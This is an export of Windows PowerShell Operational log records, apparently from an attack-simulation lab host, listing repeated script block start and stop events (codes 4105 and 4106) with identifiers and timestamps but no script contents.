Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033455
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033450
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033449
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033427
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033425
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033424
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
